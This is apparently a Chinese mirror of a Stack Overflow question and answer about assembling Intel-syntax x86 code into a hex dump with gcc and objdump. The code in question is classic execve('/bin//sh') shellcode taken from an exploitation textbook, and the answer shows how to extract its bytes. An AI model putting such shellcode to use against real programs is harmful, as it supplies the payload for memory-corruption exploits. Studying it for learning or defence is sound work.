linux - 如何编译 Intel x86 汇编代码以获取十六进制转储?

标签 linux assembly hexdump

我有以下汇编代码来从 Erickson 的漏洞利用手册中生成一个 shell:

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.

但是,我的 linux 机器没有 nasm 并且要获得它需要我找我的管理员来下载软件包。还有其他方法可以将其变成十六进制吗?我知道 GCC 使用 AT&T,但我不知道有任何支持 Intel x86 的方法。

最佳答案

要仅获取十六进制转储,您不需要有效的可执行文件。在你的情况下(没有重定位)我认为在你的操作系统上使用你的汇编器在家里组装代码没有问题,获取十六进制转储并在目标系统上使用它。只需注意架构(i386 或 x86_64)。

以下是在 Linux 上获取十六进制转储的步骤:

test.s(小写'.s')

.intel_syntax noprefix
.text
.global _start
_start:

xor eax, eax # Zero out eax.
push eax # Push some nulls for string termination.
push 0x68732f2f # Push "//sh" to the stack.
push 0x6e69622f # Push "/bin" to the stack.
mov ebx, esp # Put the address of "/bin//sh" into ebx, via esp.
push eax # Push 32-bit null terminator to stack.
mov edx, esp # This is an empty array for envp.
push ebx # Push string addr to stack above null terminator.
mov ecx, esp # This is the argv array with string ptr.
mov al, 11 # Syscall #11.
int 0x80 # Do it.

考虑将注释符号 ; 更改为 #

构建并获取十六进制转储:

gcc -m32 -c test.s
objdump -F -s -j.text test.o

你也可以使用gdb test.odisass/r _start

关于linux - 如何编译 Intel x86 汇编代码以获取十六进制转储?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27245006/

相关文章:

c - 为什么 Linux C API 'open' 支持函数重载?

C: 使用 unistd write 打印句点(.)

python - 在 Python2 和 Python3 中写入不同的十六进制值

java - 如果该行包含字符串匹配的任何部分,则使用扫描仪显示整行(Java)

python - 使用 Tensorflow 0.8.0 的 Odroid C2 设置困难

linux - 如何使用 curl 从需要许可的网站获取数据?

python - 在python中获取时间戳差异的方法

c++ - 是否有任何可用的操作/围栏比发布弱但仍提供同步语义?

c - gcc 在我的系统上生成什么汇编语言?

assembly - 修复后常量无效?